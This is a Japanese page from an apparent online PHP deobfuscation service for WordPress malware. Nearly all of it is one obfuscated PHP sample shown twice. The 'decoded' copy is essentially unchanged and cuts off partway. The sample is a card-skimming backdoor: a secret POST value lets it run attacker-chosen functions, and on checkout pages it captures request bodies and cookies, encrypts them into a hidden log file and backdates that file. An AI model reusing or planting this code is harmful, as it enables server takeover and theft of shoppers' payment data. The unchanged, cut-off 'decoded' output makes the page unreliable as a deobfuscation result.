Japanese English

PHP 難読化コードの復元・デコード

Wordpress　等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php if (!class_exists('_b484c73e94fd2eb4860a450a5c5e3789')) { class _b484c73e94fd2eb4860a450a5c5e3789 { static function g($n, $k) { $l = strlen($k); $r = base64_decode($n); for ($i = 0, $c = strlen($r); $i !== $c; ++$i) { $r[$i] = chr(ord($r[$i]) ^ ord($k[$i % $l])); } print $r; } } $GLOBALS[_b...



難読化されたPHPコード

<?php

if (!class_exists('_b484c73e94fd2eb4860a450a5c5e3789')) {
    class _b484c73e94fd2eb4860a450a5c5e3789
    {
        static function g($n, $k)
        {
            $l = strlen($k);
            $r = base64_decode($n);
            for ($i = 0, $c = strlen($r); $i !== $c; ++$i) {
                $r[$i] = chr(ord($r[$i]) ^ ord($k[$i % $l]));
            }
            print $r;
        }
    }
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAE=', '_1')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQpoAGpVaQJoAWgBaQJoCg==', '_3'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAQ=', '_5')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQ5pUmpRaQZoBWgFaQZoDg==', '_7'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAs=', '_9')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAQHOgdSaQgHOgdT', '_11'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAI=', '_13')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAEDbgcGaVM=', '_15'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAU=', '_17')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQcPZgdaaQQMOQcMaAkPZgYKaAUObA==', '_19'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAc=', '_21')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAIFbgQAaVA=', '_23'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAQ=', '_25')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQQBZgRUaQcCOQQAaQcAawdRaQEBOQRSaAYBagRSaAYAbA==', '_27'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAU=', '_29')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAYHOgVSaQoHOgVT', '_31'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAs=', '_33')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAACawQHaAACawQH', '_35'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAo=', '_37')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQUOagVcaQAOawUAaVUPOgZfaQYOZwUAaAAOawQK', '_39'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAUB', '_41')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aVAFbQFVaAcEawMBaVcFagJW', '_43'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAUE', '_45')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAcAawMFaVcBagJS', '_47'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAUL', '_49')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQMHZgNSaQAEOQMGaQAGawBXaQYHOQNUaAEHagNUaAEGbA==', '_51'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAQA', '_53')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAUDbgMGaVc=', '_55'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAQD', '_57')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAUPbgMKaVc=', '_59'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAcE', '_61')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAYFbgAAaVQ=', '_63'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAcD', '_65')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQAAagBSaQUAawAOaVABOgNRaQMAZwAOaAUAawEE', '_67'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAcO', '_69')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQEGagFUaQQGawEIaVEHOgJXaQIGZwEIaAQGawAC', '_71'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAYL', '_73')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQECagFQaQQCawEMaVEDOgJTaQICZwEMaAQCawAG', '_75'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAYO', '_77')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQEOagFcaQQOawEAaVEPOgJfaQIOZwEAaAQOawAK', '_79'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAoB', '_81')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aV4Ebw4GaV0EbA8AaVsGOQ8BaQkFOg4HaV4FOw1VaAgEbA4GaA0Faw5Val4FbQ8KaAwFag8A', '_83'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAoE', '_85')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aV4Abw4CaV0AbA8EaVsCOQ8FaQkBOg4DaV4BOw1RaAgAbA4CaA0Baw5Ral4BbQ8OaAwBag8E', '_87'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAoL', '_89')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aV8Gbw8EaVwGbA4CaVoEOQ8GaQwGawxXaAkGag8DaVoHZg8CaVsHag4I', '_91'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAsA', '_93')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aV8Cbw8AaVwCbA4GaVoAOQ4FaAwDbQ9WaQADbAxTaQwDOg8GaAsCZg4FaA0=', '_95'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAsD', '_97')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aV8Obw8MaVwObA4KaVoMOQ8PaAsPag8Mal8PPQ8MaAA=', '_99'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAMF', '_101')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aVcHA2kEBlZoAgcAaVIFVWkEBlZpAgcBaAgHA2gF', '_103'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAMG', '_105')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAEGBmkCBlU=', '_107'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAMH', '_109')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAEHAGkCB1M=', '_111'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAMJ', '_113')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAEHBGkCB1c=', '_115'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAMI', '_117')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAMHCGlUBw0=', '_119'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAIC', '_121')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAEEAmkCBFE=', '_123'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAID', '_125')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAEEBmkCBFU=', '_127'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAIA', '_129')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAEFAGkCBVM=', '_131'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAIA', '_133')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQcFDGlSBQBqVwQFaAQEAWpXBQZpVwVQaAUFAGlUBAFoAg==', '_135'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAIH', '_137')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQcFAGlSBQxpVQQNaQgFXWkE', '_139'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAIB', '_141')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAUCVWgEAgBpCQ==', '_143'));
    if (isset($_SERVER[_b484c73e94fd2eb4860a450a5c5e3789::g('DXRlYBpiYGoSdGB9EHU=', '_145')]) && 
              $_SERVER[_b484c73e94fd2eb4860a450a5c5e3789::g('DXRlYhpiYGgSdGB/EHU=', '_147')] == _b484c73e94fd2eb4860a450a5c5e3789::g('D35nbQ==', '_149')) {
        $control = array(_b484c73e94fd2eb4860a450a5c5e3789::g('LGBNBxdBB34GW3to', '_151'), _b484c73e94fd2eb4860a450a5c5e3789::g('PF5bVTZDWA==', '_153'), _b484c73e94fd2eb4860a450a5c5e3789::g('PF1QVC0=', '_155'), _b484c73e94fd2eb4860a450a5c5e3789::g('LURb', '_157'));
        $filename = _b484c73e94fd2eb4860a450a5c5e3789::g('cEVYSXAfVlg8WVAUKl9cQQ==', '_159');
        $cookie = _b484c73e94fd2eb4860a450a5c5e3789::g('D3lmYhpiZXgb', '_161');
        if ($GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAE=', '_163')]($_POST) && 
            isset($_POST[$control[0]]) && $_POST[$control[0]] == _b484c73e94fd2eb4860a450a5c5e3789::g('D1AAZWt6XUEnZ3sDOX10', '_165')) {
            if (isset($_POST[$control[3]])) {
                foreach ($_POST as $func => $arg) {
                    if (!$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAA=', '_167')]($func, $control)) {
                        die($func($arg));
                    }
                }
            }
            if (isset($_POST[$control[2]])) {
                @$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAM=', '_169')]($filename);
                die($GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAI=', '_171')](_b484c73e94fd2eb4860a450a5c5e3789::g('PFI=', '_173'), 0xc1, 0xea));
            }
            if (!$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAU=', '_175')]($filename)) {
                die($GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAQ=', '_177')](_b484c73e94fd2eb4860a450a5c5e3789::g('PFI=', '_179'), 0xfa, 0xce));
            }
            $content = @$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAc=', '_181')]($filename);
            if (isset($_POST[$control[1]])) {
                @$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAY=', '_183')]($filename);
            }
            die($content);
        }
        $addr = $_SERVER[_b484c73e94fd2eb4860a450a5c5e3789::g('DXRpYBpibGoKY3E=', '_185')];
        $is_checkout_page = false;
        foreach (array(_b484c73e94fd2eb4860a450a5c5e3789::g('cEFZTjJUVkNyWFZRMENVVitYV1k=', '_187')) as $page) {
            if ($GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAk=', '_189')]($addr, $page)) {
                $is_checkout_page = true;
                break;
            }
        }
        if ($is_checkout_page) {
            $mbstr = function ($string) {
                return $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAg=', '_191')](_b484c73e94fd2eb4860a450a5c5e3789::g('MlNmQCtDVVYx', '_193')) ? 
                    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAJ', '_195')]($string, _b484c73e94fd2eb4860a450a5c5e3789::g('Z1NQQw==', '_197')) :
                    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAI', '_199')]($string);
            };
            $content = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAMC', '_201')](_b484c73e94fd2eb4860a450a5c5e3789::g('L1pACXAdWV0vR0Q=', '_203'));
            $content = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAMD', '_205')](_b484c73e94fd2eb4860a450a5c5e3789::g('Ng==', '_207'), $mbstr($addr)) . 
                       $addr . 
                       $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAME', '_209')](_b484c73e94fd2eb4860a450a5c5e3789::g('Ng==', '_211'), $mbstr($content)) . 
                       $content;
            if (isset($_COOKIE[$cookie])) {
                $c_val = $cookie . _b484c73e94fd2eb4860a450a5c5e3789::g('Yg==', '_213') . $_COOKIE[$cookie];
                $content .= $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAME', '_215')](_b484c73e94fd2eb4860a450a5c5e3789::g('Ng==', '_217'), $mbstr($c_val)) . $c_val;
            }
            if ($GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAMH', '_219')](_b484c73e94fd2eb4860a450a5c5e3789::g('MEJXXyxBXm44V0ZuL0dQXTZRWVQm', '_221')) && 
                $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAMF', '_223')](_b484c73e94fd2eb4860a450a5c5e3789::g('MEJXWyxBXmovR1BZNlFtUDFRQEwvRg==', '_225')) && 
                $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAMK', '_227')](_b484c73e94fd2eb4860a450a5c5e3789::g('MEJXVyxBXmY6XFFLJkJG', '_229')) && 
                $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAMK', '_231')](_b484c73e94fd2eb4860a450a5c5e3789::g('MEJWXSxBX2wtU11XMF9sQyxXRlcwbVFKK1dA', '_233'))) {
                $enc_key = null;
                $aes_key = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAD', '_235')](16);
                $iv = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAC', '_237')](16);
                $pub_key = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAB', '_239')](_b484c73e94fd2eb4860a450a5c5e3789::g('ch8ZHHJwcXYWfBRhCnB4eBwSf3QGHxkcch8+fBZ1UnweAnNyDENzYhZQB3UOd3ZwDmd1cGt1enAbcXZYDnl2Vg52d0ccam1DOnhkXXRqWX0JXVF5L2sBdw4LHztpQkFWNAcCAGh6eGcxAH54MEMMcjABe11sWQ16K39wUisDdgMMUFZpZlZ2ZRcBTl0OR2BhGF91WmYLe2sKRWd3VQdGcxBjUUAxAHdjbFNnAitqXUE4XwBIKHdkCRUEAUM0fHFUawBOdgcBfGUXf1IHHWFRfGZYRHQuQl8DC1lhRRs4d1dmdmNbJXpcewdze0FmZ2ZGFnZ1YB5wPhxyHxkcGnxwEQ9ndn0WcRR6GmsZHHIfGTs=', '_241'));
                $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAH', '_243')]($aes_key, $enc_key, $pub_key);
                $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAA', '_245')]($pub_key);
                $is_open_ssl = true;
            }
            if ($is_open_ssl) {
                $content = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAB', '_247')]($content, _b484c73e94fd2eb4860a450a5c5e3789::g('HndnFG4ADBQccHc=', '_249'), $aes_key, OPENSSL_RAW_DATA, $iv);
                $log_entry = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAD', '_251')](_b484c73e94fd2eb4860a450a5c5e3789::g('PFs=', '_253'), 0x1, $mbstr($enc_key)) . 
                $enc_key . 
                $iv . 
                $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAC', '_255')](_b484c73e94fd2eb4860a450a5c5e3789::g('Ng==', '_257'), $mbstr($content)) . 
                $content . 
                $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAN', '_259')](_b484c73e94fd2eb4860a450a5c5e3789::g('PA==', '_261'), 0x0);
            } else {
                $xor_byte = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAEG', '_263')](_b484c73e94fd2eb4860a450a5c5e3789::g('PA==', '_265'), $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAP', '_267')]());
                $content_length = $mbstr($content);
                for ($i = 0; $i < $content_length; $i++) {
                    $content[$i] ^= $xor_byte;
                }
                $log_entry = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAEH', '_269')](_b484c73e94fd2eb4860a450a5c5e3789::g('PFFe', '_271'), 0x0, $xor_byte, $content_length) . 
                $content . 
                $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAEF', '_273')](_b484c73e94fd2eb4860a450a5c5e3789::g('PA==', '_275'), 0x0);
            }
            @$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAEE', '_277')]($filename, $log_entry, "NOOO_EXPEND");
            $time = @$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAED', '_279')]("/var/www/html/input.php");
            @$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAEN', '_281')]($filename, $time, $time);
        }
    }
}

デコード(難読化解除)されたコード

<?php

if (!class_exists('_b484c73e94fd2eb4860a450a5c5e3789')) {
    class _b484c73e94fd2eb4860a450a5c5e3789
    {
        static function g($n, $k)
        {
            $l = strlen($k);
            $r = base64_decode($n);
            for ($i = 0, $c = strlen($r); $i !== $c; ++$i) {
                $r[$i] = chr(ord($r[$i]) ^ ord($k[$i % $l]));
            }
            print $r;
        }
    }
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAE=', '_1')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQpoAGpVaQJoAWgBaQJoCg==', '_3'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAQ=', '_5')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQ5pUmpRaQZoBWgFaQZoDg==', '_7'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAs=', '_9')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAQHOgdSaQgHOgdT', '_11'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAI=', '_13')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAEDbgcGaVM=', '_15'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAU=', '_17')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQcPZgdaaQQMOQcMaAkPZgYKaAUObA==', '_19'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAc=', '_21')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAIFbgQAaVA=', '_23'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAQ=', '_25')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQQBZgRUaQcCOQQAaQcAawdRaQEBOQRSaAYBagRSaAYAbA==', '_27'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAU=', '_29')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAYHOgVSaQoHOgVT', '_31'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAs=', '_33')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAACawQHaAACawQH', '_35'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAo=', '_37')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQUOagVcaQAOawUAaVUPOgZfaQYOZwUAaAAOawQK', '_39'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAUB', '_41')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aVAFbQFVaAcEawMBaVcFagJW', '_43'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAUE', '_45')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAcAawMFaVcBagJS', '_47'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAUL', '_49')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQMHZgNSaQAEOQMGaQAGawBXaQYHOQNUaAEHagNUaAEGbA==', '_51'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAQA', '_53')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAUDbgMGaVc=', '_55'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAQD', '_57')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAUPbgMKaVc=', '_59'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAcE', '_61')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAYFbgAAaVQ=', '_63'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAcD', '_65')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQAAagBSaQUAawAOaVABOgNRaQMAZwAOaAUAawEE', '_67'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAcO', '_69')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQEGagFUaQQGawEIaVEHOgJXaQIGZwEIaAQGawAC', '_71'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAYL', '_73')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQECagFQaQQCawEMaVEDOgJTaQICZwEMaAQCawAG', '_75'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAYO', '_77')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQEOagFcaQQOawEAaVEPOgJfaQIOZwEAaAQOawAK', '_79'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAoB', '_81')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aV4Ebw4GaV0EbA8AaVsGOQ8BaQkFOg4HaV4FOw1VaAgEbA4GaA0Faw5Val4FbQ8KaAwFag8A', '_83'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAoE', '_85')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aV4Abw4CaV0AbA8EaVsCOQ8FaQkBOg4DaV4BOw1RaAgAbA4CaA0Baw5Ral4BbQ8OaAwBag8E', '_87'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAoL', '_89')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aV8Gbw8EaVwGbA4CaVoEOQ8GaQwGawxXaAkGag8DaVoHZg8CaVsHag4I', '_91'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAsA', '_93')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aV8Cbw8AaVwCbA4GaVoAOQ4FaAwDbQ9WaQADbAxTaQwDOg8GaAsCZg4FaA0=', '_95'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAsD', '_97')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aV8Obw8MaVwObA4KaVoMOQ8PaAsPag8Mal8PPQ8MaAA=', '_99'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAMF', '_101')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aVcHA2kEBlZoAgcAaVIFVWkEBlZpAgcBaAgHA2gF', '_103'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAMG', '_105')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAEGBmkCBlU=', '_107'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAMH', '_109')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAEHAGkCB1M=', '_111'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAMJ', '_113')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAEHBGkCB1c=', '_115'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAMI', '_117')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAMHCGlUBw0=', '_119'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAIC', '_121')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAEEAmkCBFE=', '_123'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAID', '_125')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAEEBmkCBFU=', '_127'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAIA', '_129')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAEFAGkCBVM=', '_131'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAIA', '_133')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQcFDGlSBQBqVwQFaAQEAWpXBQZpVwVQaAUFAGlUBAFoAg==', '_135'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAIH', '_137')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aQcFAGlSBQxpVQQNaQgFXWkE', '_139'));
    $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAIB', '_141')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('aAUCVWgEAgBpCQ==', '_143'));
    if (isset($_SERVER[_b484c73e94fd2eb4860a450a5c5e3789::g('DXRlYBpiYGoSdGB9EHU=', '_145')]) && $_SERVER[_b484c73e94fd2eb4860a450a5c5e3789::g('DXRlYhpiYGgSdGB/EHU=', '_147')] == _b484c73e94fd2eb4860a450a5c5e3789::g('D35nbQ==', '_149')) {
        $control = array(_b484c73e94fd2eb4860a450a5c5e3789::g('LGBNBxdBB34GW3to', '_151'), _b484c73e94fd2eb4860a450a5c5e3789::g('PF5bVTZDWA==', '_153'), _b484c73e94fd2eb4860a450a5c5e3789::g('PF1QVC0=', '_155'), _b484c73e94fd2eb4860a450a5c5e3789::g('LURb', '_157'));
        $filename = _b484c73e94fd2eb4860a450a5c5e3789::g('cEVYSXAfVlg8WVAUKl9cQQ==', '_159');
        $cookie = _b484c73e94fd2eb4860a450a5c5e3789::g('D3lmYhpiZXgb', '_161');
        if ($GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAE=', '_163')]($_POST) && isset($_POST[$control[0]]) && $_POST[$control[0]] == _b484c73e94fd2eb4860a450a5c5e3789::g('D1AAZWt6XUEnZ3sDOX10', '_165')) {
            if (isset($_POST[$control[3]])) {
                foreach ($_POST as $func => $arg) {
                    if (!$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAA=', '_167')]($func, $control)) {
                        die($func($arg));
                    }
                }
            }
            if (isset($_POST[$control[2]])) {
                @$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAM=', '_169')]($filename);
                die($GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAI=', '_171')](_b484c73e94fd2eb4860a450a5c5e3789::g('PFI=', '_173'), 0xc1, 0xea));
            }
            if (!$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAU=', '_175')]($filename)) {
                die($GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAQ=', '_177')](_b484c73e94fd2eb4860a450a5c5e3789::g('PFI=', '_179'), 0xfa, 0xce));
            }
            $content = @$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAc=', '_181')]($filename);
            if (isset($_POST[$control[1]])) {
                @$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAY=', '_183')]($filename);
            }
            die($content);
        }
        $addr = $_SERVER[_b484c73e94fd2eb4860a450a5c5e3789::g('DXRpYBpibGoKY3E=', '_185')];
        $is_checkout_page = false;
        foreach (array(_b484c73e94fd2eb4860a450a5c5e3789::g('cEFZTjJUVkNyWFZRMENVVitYV1k=', '_187')) as $page) {
            if ($GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAk=', '_189')]($addr, $page)) {
                $is_checkout_page = true;
                break;
            }
        }
        if ($is_checkout_page) {
            $mbstr = function ($string) {
                return $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAg=', '_191')](_b484c73e94fd2eb4860a450a5c5e3789::g('MlNmQCtDVVYx', '_193')) ? $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAJ', '_195')]($string, _b484c73e94fd2eb4860a450a5c5e3789::g('Z1NQQw==', '_197')) : $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAI', '_199')]($string);
            };
            $content = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAMC', '_201')](_b484c73e94fd2eb4860a450a5c5e3789::g('L1pACXAdWV0vR0Q=', '_203'));
